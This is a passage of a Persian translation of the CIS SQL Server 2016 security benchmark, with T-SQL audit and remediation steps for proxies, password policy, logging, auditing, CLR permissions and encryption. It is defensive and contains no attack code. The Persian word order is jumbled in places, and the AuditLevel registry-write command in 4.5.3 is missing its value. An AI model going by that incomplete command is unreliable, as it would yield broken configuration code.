 SQL Serverی ممکن است نمونه ،معادل اضافه شده باشند. در غیر این صورتهای ویندوز با مجوزی هایکاربر

 به طور کامل غیر قابل دسترسی شود.

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
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اجازه دسترسی به  msdbمطمئن شوید که نقش عمومی در پایگاه داده  .4.3.11

 را نداشته باشد.  SQL Agentهایپروکسی

Public Role، ی کاربران پایگاه دادهی شامل همهmsdb های شود. پروکسیمیSQL Agent یک فضای 

یک عملی است که یک  ،job stepیک  تواند اجرا شود.می job stepکنند که در آن یک امنیتی را تعریف می

 یا یک T-SQLتواند یک عبارت می job stepپذیرد. برای مثال یک روی یک پایگاه داده یا یک سرور می اقدام

 باشد. PowerShellاسکریپت 

 :منطق کار •

اجازه را به تمام کاربران این  Public Roleکاربران  برای SQL Agentهای اعطای دسترسی به پروکسی

ای که بیشترین سطح دسترسی را دارد استفاده کنند و این مسئله مخالف با سیاست خواهد داد تا از پروکسی

 ت.اعطای کمترین مجوز و سطح دسترسی اس

 

 

 :بررسیی نحوه •

 ،msdbی پایگاه داده Public Roleید تا مشخص شود که آیا دسترسی کاربران از دستور زیر استفاده کن

 به هیچ پروکسی ای داده شده است یا خیر.

USE [msdb] 

GO 

SELECT sp.name AS proxyname 

FROM dbo.sysproxylogin spl 
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JOIN sys.database_principals dp 

ON dp.sid = spl.sid 

JOIN sysproxies sp 

ON sp.proxy_id = spl.proxy_id 

WHERE principal_id = USER_ID('public'); 

GO 

 هیچ سطری نباید بازگردانده شود.

 :اعمالی نحوه •

 لغو کنید. Public Roleرا از  <proxyname>دسترسی به  ،با دستور زیر -1

USE [msdb] 

GO 

EXEC dbo.sp_revoke_login_from_proxy @name = N'public', @proxy_name = 

N'<proxyname>'; 

GO 

 

 مقدار پیش فرض: •

 دسترسی ندارد. به هیچ پروکسی ،msdbی پایگاه داده کاربران ،فرضبه طور پیش

 :منابع •

https://www.cisecurity.org/benchmark/microsoft_sql_server/ 

https://support.microsoft.com/en-us/help/2160741/best-practices-in-configuring-sql-server-

agent-proxy-account 

https://docs.microsoft.com/en-us/sql/ssms/agent/manage-job-steps?view=sql-server-2016 

https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://support.microsoft.com/en-us/help/2160741/best-practices-in-configuring-sql-server-agent-proxy-account
https://support.microsoft.com/en-us/help/2160741/best-practices-in-configuring-sql-server-agent-proxy-account
https://docs.microsoft.com/en-us/sql/ssms/agent/manage-job-steps?view=sql-server-2016
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 های کلمه عبورسیاست .4.4

 ON بصورت SQL کاربران برای همه MUST_CHANGEطمئن شوید گزینه م .4.4.1

 تنظیم شده باشد.

جدید رمز عبور به را  رمز عبورورود کاربر باید اولین در تنظیم گردد،  ONاین گزینه در حالت  که یزمان

 نماید. یروزرسانبه

 منطق: •

تغییر داشته است یا جدید ایجاد  هاآنبرای کاربرانی که حساب کاربری  ،رمز عبورتغییر  اجبار نمودنبا 

شده است، از دسترسی کاربران دیگر به رمز عبورهایی که در ایجاد اولیه یا تغییر نام کاربری تنظیم شده است 

 شود.جلوگیری می

 ی بررسی:نحوه •

1- SQL Server Management Studio را باز نمایید. 

2- Object Explorer  متصل شوید موردنظر از بانک اطلاعاتیرا باز کرده و به نمونه. 

مورد نظر کلیک راست  نام کاربریبررسی نمایید. روی  را Object Explorerدر  هاینام کاربرگزینه  -3

 را انتخاب نمایید.ها کرده و ویژگی

 را تنظیم کرده باشید. User must change passwordگزینه مطمئن شوید که  -4

 ی اعمال:نحوه •

 نام کاربریدر ایجاد  SQLمجاز ی هاینام کاربر( را برای یاجبار ییرتغ) MUST_CHANGEگزینه 

 شود:میاینگونه تنظیم  جدید

CREATE LOGIN <login_name> WITH PASSWORD = '<password_value>' 

MUST_CHANGE, CHECK_EXPIRATION = ON, CHECK_POLICY = ON; 
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 مجاز در تنظیم مجدد رمز عبور اینگونه تنظیم نماییدهای ینام کاربررا برای  یاجبار ییرتغگزینه 

ALTER LOGIN <login_name> WITH PASSWORD = '<new_password_value>' 

MUST_CHANGE; 

سیاست ها( هر  –)بررسی CHECK_POLICY و )بررسی انقضا( CHECK_EXPIRATIONهای گزینه

 باشد. کاربر نهایی برای تغییر رمز عبور باید ابزارهای خود را داشته باشد. ONباید در حالت دو 

 مقدار پیش فرض: •

 OFF به صورت پیش فرض کنیدمی ایجاد T-SQL CREATE LOGINجدیدی با  نام کاربری که یزمان

 .باشدمی

 منابع: •

https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-login-transact-sql 

https://docs.microsoft.com/en-us/sql/t-sql/statements/create-login-transact-sql 

 

برای تمام کاربران احراز « CHECK_EXPIRATION»مطمئن شوید گزینه  .4.4.2

 شده باشدتنظیم« ON»به مقدار  Sysadmin Roleدر  SQLهویت شده 

 نماید.می باشد استفادهمی SQL Serverهمان سیاست انقضای رمز عبور را که در ویندوز 

 منطق: •

های مدیریت رمز عبور در ویندوز این اطمینان را به با سیاسترمز عبور  هایسیاستاطمینان از مطابقت 

دارند در بازه های زمانی  یبانک اطلاعاتبه  sysadminدسترسی همراه دارد که کاربران مدیر و سایر کاربرانی که 

برای نفوذ  هاآنمشخصی نسبت به تغییر رمز عبور اقدام نمایند تا احتمال سوء استفاده از نام کاربری و رمز عبور 

 به سیستم کاهش یابد.
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 ی بررسی:نحوه •

 CHECK_EXPIRATIONکه گزینه  sysadminزیر را برای یافتن کاربرانی با دسترسی  T-SQLعبارت 

 هست اجرا نمایید. هیچ موردی نباید یافت شود OFF هاآن

SELECT l.[name], 'sysadmin membership' AS 'Access_Method' 

FROM sys.sql_logins AS l 

WHERE IS_SRVROLEMEMBER('sysadmin',name) = 1 

AND l.is_expiration_checked <> 1 

UNION ALL 

SELECT l.[name], 'CONTROL SERVER' AS 'Access_Method' 

FROM sys.sql_logins AS l 

JOIN sys.server_permissions AS p 

ON l.principal_id = p.grantee_principal_id 

WHERE p.type = 'CL' AND p.state IN ('G', 'W') 

AND l.is_expiration_checked <> 1; 

 ی اعمال:نحوه •

 اند عبارت زیر را اجرا نمایید:فوق مشخص شده T-SQLهایی که با استفاده از  <login_name>برای 

ALTER LOGIN [<login_name>] WITH CHECK_EXPIRATION = ON; 

 تاثیر: •

 .مستقیم ویندوز پیروی کنندهای ینام کاربر از سیستمد نتواننمی است کههایی این توصیه برای سیستم

سیستم دارند تاثیر در سطح  مدیرمجوزهای در سطح که یی هاینام کاربرنون برای با توجه به محدودیت این قا

 شود.این کاربران انجام می
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 مقدار پیش فرض: •

باشد. گزینه می Onفرض در حالت  به صورت پیش CHECK_EXPIRATIONگزینه 

CHECK_EXPIRATION  زمانیOff باشد که با استفاده از دستورمی T-SQL CREATE LOGIN  بدون

 نماید.می استفاده CHECK_EXPIRATIONمشخص کردن گزینه 

 منابع •

https://docs.microsoft.com/en-us/sql/relational-databases/security/passwordpolicy 

برای تمام کاربران احراز هویت شده  CHECK_POLICYمطمئن شوید گزینه  .4.4.3

SQL  به مقدارON شده باشدتنظیم 

 نماید.می استفاده SQL Serverور در ویندوز را برای رمز عبور همان سیاست رمز عب

 

 

 منطق: •

سیاست رمز عبور ایمن در همان با  SQLهای ینام کاربرمربوط به رمز عبور که د خواهید شمطمئن 

 پذیر نباشند.ها آسیبدر حملات و نفوذ به سیستم یراحتبهمدیریت خواهند شد تا ویندوز 

 بررسی: •

رمز عبور  سیاستاستفاده کنید و بررسی کنید که آیا  SQLهای ینام کاربراز کد زیر برای تعیین وضعیت 

 شود.میاعمال  هاآنبر روی 

SELECT name, is_disabled 

FROM sys.sql_logins 
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WHERE is_policy_checked = 0; 

 ی اعمال:نحوه •

 های حاصل از عبارت فوق دستور زیر را اجرا نمایید. <login_name>برای هریک از 

ALTER LOGIN [<login_name>] WITH CHECK_POLICY = ON; 

 تاثیر: •

. رمز عبور کنندمجاز ویندوز استفاده های ینام کاربرد از نتواننمی است کههایی این توصیه برای سیستم

شود که رمز عبور می ین تنظیمات تنها زمانی اجراا. شود هاسیستمافتادن  در خطرتواند منجر به می ضعیف

 .تنظیم شودرمز عبور ضعیف  گذاردینمتغییر نماید. این تنظیمات 

 مقدار پیش فرض: •

 باشد.می ONبه صورت پیش فرض  CHECK_POLICYمقدار گزینه 

 منابع: •

https://docs.microsoft.com/en-us/sql/relational-databases/security/passwordpolicy 

 بازرسی و ورود .4.5

تر یا به بزرگ« Maximum number of error log files»مطمئن شوید مقدار  .4.5.1

 شده باشدتنظیم  12مساوی 

ثبت های فایل پشتیبان. کاهش یابدخطای سرور در خصوص  ثبت وقایعهای فایل تلاش شود تاباید از 

 تهیه شود. یسینودوبارهباید قبل از  وقایع

 :منطق •
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 .دارد نام کاربریو اطلاعات سرور مهم های باره رویداداطلاعات مهمی در SQL Serverخطای  ثبت وقایع

 :نظارت •

 باشد. 12برگشت شده باید بیشتر یا برابر  ثبت وقایعهای زیر را اجرا نمایید. تعداد فایل T-SQLعبارت 

DECLARE @NumErrorLogs int; 

EXEC master.sys.xp_instance_regread 

N'HKEY_LOCAL_MACHINE', 

N'Software\Microsoft\MSSQLServer\MSSQLServer', 

N'NumErrorLogs', 

@NumErrorLogs OUTPUT; 

SELECT ISNULL(@NumErrorLogs, -1) AS [NumberOfLogFiles]; 

 

 

 اعمال: ینحوه •

 6جلوگیری کند. مقدار پیش فرض ها داده دست دادنرا طوری تنظیم نمایید که از ها ثبت وقایعتعداد 

خطا را تغییر داده و  ثبت وقایعتعداد  وزیر را اجرا نمایید  T-SQLکافی نباشد. واقعی ممکن است برای شرایط 

<NumberAbove12>  خطا جایگزین کنید. ثبت وقایع برایرا با عدد مطلوب 

EXEC master.sys.xp_instance_regwrite 

N'HKEY_LOCAL_MACHINE', 

N'Software\Microsoft\MSSQLServer\MSSQLServer', 

N'NumErrorLogs', 

REG_DWORD, 
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<NumberAbove12>; 

 تاثیر: •

فایل  ترقدیمیخطاهای  برسد ی ثبت شده در فایل ثبت وقایع به تعداد تنظیم شدهتعداد خطا که یزمان

 .شودمی حذف sp_cycle_errorlog و یا اجرای SQL Server مجدد یاندازراهخطا با  ثبت وقایع

 :مقدار پیش فرض •

 .باشدمیبصورت پیش فرض سیستم خطای ثبت وقایع در کنار فایل  SQL Serverخطای  6ثبت 

 :منابع •

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/scmservices- 

configure-sql-server-error-logs 

  

در پیکربندی سرور « Default Trace Enabled» از یک بودن مقدار گزینه .4.5.2

 اطمینان حاصل کنید.

ی پیش فرض، مکان ثبت وقایع مربوط به ایجاد کاربران جدید، تغییر مجوزها و اجرای دستورات ردیاب

DBCC نماید.را در فایل ثبت وقایع فراهم می 

 منطق: •

 فراهمها برای بازرسی آن فعالیتامنیتی سرور های ارزشی از نظر فعالیت پیش فرض اطلاعات با یردیاب

 نماید.می

 نحوه بررسی: •
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 را نشان دهد. 1هر دو ستون باید عدد  .زیر را اجرا نمایید T-SQLدستور 

SELECT name, 

CAST(value as int) as value_configured, 

CAST(value_in_use as int) as value_in_use 

FROM sys.configurations 

WHERE name = 'default trace enabled'; 

 اعمال: ینحوه •

 .زیر را اجرا نمایید T-SQLدستور 

EXECUTE sp_configure 'show advanced options', 1; 

RECONFIGURE; 

EXECUTE sp_configure 'default trace enabled', 1; 

RECONFIGURE; 

GO 

EXECUTE sp_configure 'show advanced options', 0; 

RECONFIGURE; 

 مقدار پیش فرض: •

 باشد.مقدار پیش فرض این گزینه یک می

 :منابع •

https://docs.microsoft.com/en-us/sql/database-engine/configurewindows/ 

default-trace-enabled-server-configuration-option 
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شده تنظیم « failed logins»با مقدار « Login Auditing»طمئن شوید گزینه م .4.5.3

 باشد.

 ثبتخطا  ثبت وقایع فایل در SQLهای ینام کاربرناموفق احراز هویت را برای های این تنظیمات تلاش

 SQLو تعاریف مختلف ها این تنظیمات در نسخه از قبلباشد. می SQL Serverنماید. این تنظیمات برای می

Server باشد. قبل از اینکه ناظر می در دسترسSQL Server  برای کنترل در دسترس باشد، این تنها مکانیزم

 .بود هاکاربرورود موفق یا ناموفق 

 منطق: •

برای شناسایی و یا تواند می کند کهمی اطلاعات کلیدی فراهمکاربران ناموفق  ورودهایبدست آوردن 

ورودهای موفق منظور دستیابی به ه تایید حملات رمز عبور استفاده شود ولی استفاده از تنظیمات نظارت ب

برای رفع  DBAهای تواند از تلاشمی نماید کهمی ایجاد SQL Serverخطای  ثبت وقایعنویز اضافی در  هاکاربر

 نماید. مشکل جلوگیری

 :یبررس ینحوه •

 زیر را اجرا کنید. T-SQLعبارت 

 EXEC xp_loginconfig 'audit level'; 

ثبت در  ورود نام کاربرموارد ناموفق صرفا  بود failureاگر  config_valueمقدار در خروجی عبارت فوق 

موفق و هم ورودهای بود، در اینصورت هم  allمساوی  config_valueمقدار  . اگرشودآورده میهای وقایع

با ارزش باشد ولی همانطور که ذکر شد،  تواند. هر دو تنظیم میودشمیآورده  ثبت وقایعدر موفق ناورودهای 

 کند.می ایجاد ثبت وقایعبا این روش نویز زیادی در ان کاربر ورودهای موفقبدست آوردن 

 اعمال: ینحوه •

 .انجام دهید T-SQLمراحل زیر را برای تنظیم سطح نظارت با استفاده از 
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 دستور زیر را اجرا نمایید .1

EXEC xp_instance_regwrite N'HKEY_LOCAL_MACHINE', 

N'Software\Microsoft\MSSQLServer\MSSQLServer', N'AuditLevel', REG_DWORD, 

 

2. SQL Server  نمایید مجدد یاندازراهرا. 

 :مقدار پیش فرض •

 شود.میثبت  انکاربر ورودناموفق های صورت پیش فرض، تنها تلاشه ب

 منابع: •

https://docs.microsoft.com/en-us/sql/database-engine/configurewindows/ 

server-properties-security-page 

 

و  failedبرای ثبت هردو نوع ورود  SQL Server Auditمطمئن شوید گزینه  .4.5.4

successful شده باشد. تنظیم 

ثبت نمود را ان کاربرموفق ورودهای ناو هم ورودهای موفق هم  توانمی SQL Server Auditبا استفاده از 

یا  رخدادهای امنیتی ثبت وقایعفایل برنامه، رخدادهای  ثبت وقایعفایل : نوشترا در یکی از سه محل  هاآنو 

و هر تلاشی که سیاست  SQL Serverدر رخدادهای کاربران کردن  ثبتسیستم فایل. ما از این مساله برای 

کاربران  ناموفقهای . همچنین این مساله منبع ثانویه برای ثبت تلاشکنیممی استفاده نظارت را تغییر دهد

 باشد.می

 منطق: •
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موفق؛  ورودهایبرای بدست آوردن  جای تنظیم سنتی گزینه امنیته ب SQL Server Auditبا استفاده از 

مدیران پایگاه  اینکار باعث کوچک ماندن و خوانا شدن رخدادها برای دهیم.می را کاهش 1خطا ثبت وقایعما نویز 

تواند می SQL Server Auditهمچنین  .پیدا نمایندمشکل  SQL Serverخواهند در می شود کهمیها داده

دهد که می این مساله گزینه بیشتری برای جایی امنیتی را در پیکربندی سیستم اجرایی بنویسد. هایرویداد

 کند.می را ذخیره SIEMمخصوصا ارتباط با  ،نام کاربریرویدادهای 

 :یبررس ینحوه •

 توانید وضعیت فعلی این گزینه را مشخص نمایید:با اجرای دستور زیر می

SELECT 

S.name AS 'Audit Name' 

, CASE S.is_state_enabled 

WHEN 1 THEN 'Y' 

WHEN 0 THEN 'N' END AS 'Audit Enabled' 

, S.type_desc AS 'Write Location' 

, SA.name AS 'Audit Specification Name' 

, CASE SA.is_state_enabled 

WHEN 1 THEN 'Y' 

WHEN 0 THEN 'N' END AS 'Audit Specification Enabled' 

, SAD.audit_action_name 

, SAD.audited_result 

FROM sys.server_audit_specification_details AS SAD 

JOIN sys.server_audit_specifications AS SA 

                                                 

1 Errorlog 
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ON SAD.server_specification_id = SA.server_specification_id 

JOIN sys.server_audits AS S 

ON SA.audit_guid = S.audit_guid 

WHERE SAD.audit_action_id IN ('CNAU', 'LGFL', 'LGSD'); 

 شود:های زیر مشخص میبود که در هر رکورد وضعیت هر یک از گزینه نتیجه شامل سه رکورد خواهد

• AUDIT_CHANGE_GROUP 

• FAILED_LOGIN_GROUP 

▪ SUCCESSFUL_LOGIN_GROUP  

  اعمال: ینحوه •

 را اجرا نمایید:زیر کد  SQL Tاز طریق 

CREATE SERVER AUDIT TrackLogins 

TO APPLICATION_LOG; 

GO 

CREATE SERVER AUDIT SPECIFICATION TrackAllLogins 

FOR SERVER AUDIT TrackLogins 

ADD (FAILED_LOGIN_GROUP), 

ADD (SUCCESSFUL_LOGIN_GROUP), 

ADD (AUDIT_CHANGE_GROUP) 

WITH (STATE = ON); 

GO 

ALTER SERVER AUDIT TrackLogins 

WITH (STATE = ON); 

GO  
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 تاثیر: •

تنظیمات با  SQL Server Auditآید. اگر می ناموفق بدست ورودهای، تنها دیگربا استفاده از روشهای 

بررسی رخدادهای تواند استفاده از می آورد کهنمی موفق را بدست ورودهای SQL Server ،مناسب اجرا نشود

 سرور لازم باشد.

 مقدار پیش فرض:  •

 .وجود ندارد SQL Server Auditای برای مقدار تنظیم شدهبطور پیش فرض، هیچ 

 منابع:  •

https://docs.microsoft.com/en-us/sql/relationaldatabases/ 

security/auditing/create-a-server-audit-and-server-audit-specification 

 

 

 

 افزارنرم توسعه .4.6

ها های کاربر از طریق برنامهاز تصفیه شدن پایگاه داده و تصفیه شدن ورودی .4.6.1

 یید.اطمینان حاصل نما

به سرور پایگاه داده  هاآنارسال قبل از ها ورودیو دامنه  طول، فرمت ،بررسی نوعبا بایستی همیشه 

 شود. می دریافتهای معتبری توسط پایگاه داده مطمئن شویم که ورودی

 منطق:  •

 رساند.می را به حداقل SQLخطر تزریق  دارییمعنطور ه کاربر ب هاییورود تصفیه کردن
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  :یبررس ینحوه •

از فراخوانی استفاده پایگاه داده با مشورت کنید که مطمئن شوند هرگونه تعامل با  نویسیبرنامههای با تیم

از را ها دادهیا حذف  یروزرسانبهوارد کردن، مجوز پویا. هرگونه  SQLبه صورت باشد نه می ذخیره شدههای رویه

. تایید نمایید که هیچ شود ذخیره شده انجامهای رویهبا این ها نماییند، طوری که اصلاح دادهسلب کاربران 

 شود. نمیوارد در کد برنامه ای  SQL وجویپرس

  اعمال: ینحوه •

  انجام داد: SQLتزریق  پذیرییبآسجلوگیری از توان برای می مراحل زیر را

  SQLتزریق عدم امکان برنامه  های و کدها  TSQLبررسی  -

 .مجاز باشدهای کاربر به سرور برای ارسال ورودی خاصیهای تنها حساب -

 .ذخیره شده به حداقل برسانیدهای رویهپارامتری و دستورات را با استفاده از  SQLریسک حمله تزریق  -

 توضیحات کاربر را رد کنید.ها باینری و کاراکترهای داده -

 SQL هایتبرای ایجاد عبار نموده و مستقیمااز بابت معتبر بودن بررسی همیشه ورودی کاربر را  -

 .نکنیداستفاده 

  :تاثیر •

پایگاه داده نیاز دارد. این تغییرات نوع تعامل با کد برنامه و  ی درکاربر به تغییرات هایکردن ورودی تصفیه

ه و یا کد برنام TSQLتغییر در  هرگونهو یا پایگاه داده بطور موقت آفلاین شود.  ها برنامهد تا ننیاز دارمعمولا 

 آزمایش شود. برنامه باید در محیط آزمون و قبل از اجرای 

  :منابع •

https://www.owasp.org/index.php/SQL_Injection 

https://www.owasp.org/index.php/SQL_Injection
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برای تمام « CLR Assembly Permission Set»مطمئن شوید گزینه  .4.6.2

«CLR Assemblies » به«SAFE_ACCESS »شده باشدتنظیم. 

موجب جلوگیری از « SAFE_ACCESS»به « CLR Assembly Permission Set»تنطیم گزینه 

 شود.ها عناصر شبکه میدسترسی مونتاژها به عناصر خارجی از قبیل فایل

 منطق:  •

 عاملحساس سیستم های قسمتبه  ندتوانمیدارند  UNSAFEکه مجوز دسترسی بیرونی یا  1هاییمونتاژ

عمال حفاظتی سیستم پارامترهای و وضعیت کنند استفاده  هاآنداشته باشند و از دسترسی آن داده انتقالی و 

 . دهندویندوز را تغییر 

 معافموضوع ( از این is_user_defined = 0)باشند مونتاژهایی که توسط ماکروسافت ایجاد شده 

 .دنباشمی نیاز شوند زیرا برای عملکرد کلی سیستممی

  :یبررس ینحوه •

 :زیر را اجرا نمایید SQLعبارت 

SELECT name, 

permission_set_desc 

FROM sys.assemblies 

where is_user_defined = 1; 

 .داشته باشند permission_set_descشده باید دسترسی ایمن را در ستون  نتیجههای همه مونتاژ

 اعمال:  ینحوه •

                                                 

1 Assemblies 
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 زیر را برای تنظیم مورد نظر اجرا نمایید: TSQLعبارت 

ALTER ASSEMBLY <assembly_name> WITH PERMISSION_SET = SAFE; 

 : تاثیر •

که با  شود تا از عملکرد مونتاژ اطمینان حاصل شودمونتاژ موردنظر ابتدا باید در محیط آزمایشی تست 

 .تنظیمات مجوز ایمن طراحی شده است

 مقدار پیش فرض:  •

 .شودمی یمن بصورت پیش فرض تنظیممجوز ا

  :منابع •

https://docs.microsoft.com/en-us/sql/relational-databases/clrintegration/ 

security/clr-integration-code-access-security 

https://docs.microsoft.com/en-us/sql/relational-databases/system-catalogviews/ 

sys-assemblies-transact-sql 

https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-assembly-transactsql 

 

 رمزنگاری .4.7

به مقدار « Symmetric Key encryption algorithm»گزینه  شویدمطمئن  .4.7.1

«AES_128 »شده باشد.های غیر سیستمی تنظیمیا بالاتر در پایگاه داده 

 ,AES SQL Server، AES_128, AES_192های الگوریتمماکروسافت، تنها تجربیات بهترین  عنوانبه 

and AES_256  .برای الگوریتم رمزگذاری کلید متقارن استفاده شود 
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 منطق:  •

 SQL Serverو نباید در  اندتعریف شدهبرای رمزنگاری ضعیف  هایالگوریتم به عنوان زیرهای الگوریتم

 DESسه گانه های متعددی الگوریتمهای سازمان. .DES, DESX, RC2, RC4, RC4_128استفاده شوند

(TDEAرا ) توصیه هاآن استفاده ازنوع الگوریتم منسوخ شده و  عنوانبه هاآنپذیرند. با این وجود استفاده از می 

 شود. نمی

 :یبررس ینحوه •

  :کد زیر را برای هر پایگاه داده اجرا نمایید

USE [<database_name>] 

GO 

SELECT db_name() AS Database_Name, name AS Key_Name 

FROM sys.symmetric_keys 

WHERE algorithm_desc NOT IN ('AES_128','AES_192','AES_256') 

AND db_id() > 4; 

GO 

 .نباید بازگشت شودرکوردی ، هیچ به عنوان نتیجه

 اعمال: ینحوه •

 مراجعه نمایید "تغییر کلید متقارن"آنلاین  یهاکتاببه 

https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-symmetric-key-transact-sql 

 تاثیر: •
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ضعیف را کنار بگذارید زیرا ممکن است سیستم را در خطر حملات شکستن کلید های استفاده از الگوریتم

زنگاری کرد. اگر از توان رممی فشرده راهای توان فشرده کرد، ولی دادهیرمزگذاری شده را نمهای داده قرار دهد.

 را قبل از رمزنگاری فشرده کنید. ها کنید، باید دادهمی استفاده سازیبرنامه فشرده

 :منابع •

https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-symmetric-keytransact- 

 

یا بیشتر  2048برابر قارن در پایگاه داده غیر سیستمی اندازه کلید متمطمئن شوید  .4.7.2

 .از آن تنظیم شود

 شود.توصیه میرمزنگاری نامتقارن  هایاز الگوریتماستفاده کروسافت یما تجارببهترین در 

 :منطق •

کرده  بالاترین سطح را تامین SQL Serverنامتقارن در های برای کلید RSA_2048الگوریتم رمزنگاری 

 خواهد بود( RSA_1024 و  RSA_512دیگر های باشد. )گزینهمی گزینه در دسترسترین بنابراین امن

  :یبررس ینحوه •

 اجرا نمایید:کد زیر را برای هر پایگاه داده 

USE <database_name>; 

GO 

SELECT db_name() AS Database_Name, name AS Key_Name 

FROM sys.asymmetric_keys 

WHERE key_length < 2048 AND db_id() > 4; 

GO 
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 .نباید بازگشت شودرکوردی ، هیچ به عنوان نتیجه

 اعمال: ینحوه •

 مراجعه نمایید  "تغییر کلید نامتقارن"های آنلاین به کتاب

https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-asymmetric-key-transactsql 

 :یرتاث •

در شکست کلید را احتمال شود، ولی سیستم تواند منجر به عملکرد کندتر می برای کلید بیت بالاتر تعداد

های توان فشرده کرد ولی دادهنمی رمزگذاری شده راهای داده. همانطور که عنوان شد دهدمی کاهشحملات 

را قبل از رمزگذاری ها کنید، باید دادهمی سازی استفادهزنگاری کرد. اگر از برنامه فشردهتوان رممی فشرده را

 فشرده نمایید.

 :مقدار پیش فرض •

 هیچ 

 

 :منابع •

https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-asymmetric-keytransact-sql 

 

 های بیشترپیوست: بررسی .4.8

 ه باشد.شد درستی پیکربندیبه« SQL Server Browser Service» مطمئن شوید .4.8.1

 وجود ندارد SQL Server Browser Serviceبرای غیر فعال کردن ای ههیچ توصی
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 :منطق •

. شدبامی بصورت پیش فرض غیر فعال SQL Server Browser Serviceدر نصب نمونه پیش فرض، 

آن به تنظیم  ینیاز روینااز وجود ندارد  SQL Server Browser Service سازیفعال معمولا هیچ دلیلی برای

 غیر فعال بماند.  SQL Server Browser Serviceشود که می . در این مورد توصیهوجود ندارد

تواند به این معنی باشد که کاربران نهایی باید اعداد می SQL Server Browser Serviceغیر فعال کردن 

 SQLتمایلی برای غیرفعال کردن  ITکارکنان  از آنجایی کهداشته باشند.  به خاطرها پورت را برای نمونه

Server Browser Service  ممکن است اجبار شود ولی به دلیل ریسکی که ایجاد فعال کردن خدمات، ندارند

 خواهد بود. بهتر  SQL Server Browser Service، غیر فعال گذاشتن نمایدمی

  :یبررس ینحوه •

یا روشهای مشابه بررسی  services.msc از بخش استفادهرا با  SQL Server Browser Serviceوضعیت 

 نمایید. 

 

 اعمال: ینحوه •

 .خدمات مورد نیاز محیط را فعال یا غیر فعال نمایید services.mscدر بخش 

 :مقدار پیش فرض •

به صورت پیش فرض  SQL Server Browser Serviceاگر فقط نمونه پیش فرض نصب شده باشد گزینه 

 SQL Server Browser Serviceپیش فرض برای مقدار  با نامی نصب شده باشد اگر نمونهخواهد بود.  غیر فعال

 . باید به مقدار خودکار تنظیم شود

 منابع: •

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/sqlserver- 
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browser-service-database-engine-and-ssas 
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 منابع .5

CIS Microsoft SQL Server 2016, v1.0.0, 08-11-2017 

 


